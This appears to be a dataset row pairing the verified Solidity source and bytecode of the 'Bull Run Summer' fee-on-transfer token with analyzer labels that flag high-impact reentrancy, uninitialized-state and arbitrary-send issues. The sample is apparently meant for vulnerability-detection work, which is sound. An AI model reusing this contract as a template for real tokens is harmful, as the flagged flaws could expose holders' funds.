0000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122074dc02515a6cd157b492d5a545ec167739121b24974e345160f54585addd31cc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,969 |
0xc801a86b32cc9262fb89bdc296f83bdafbc6adcf
|
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BRS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Bull Run Summer" ;
string private constant _symbol = unicode"BRS 🐂 🌞";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _teamFee = 6;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(4)).div(10);
_teamFee = (_impactFee.mul(6)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 4;
_teamFee = 6;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (30 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 10000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (240 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600f81526020017f42756c6c2052756e2053756d6d65720000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f42525320f09f908220f09f8c9e00000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff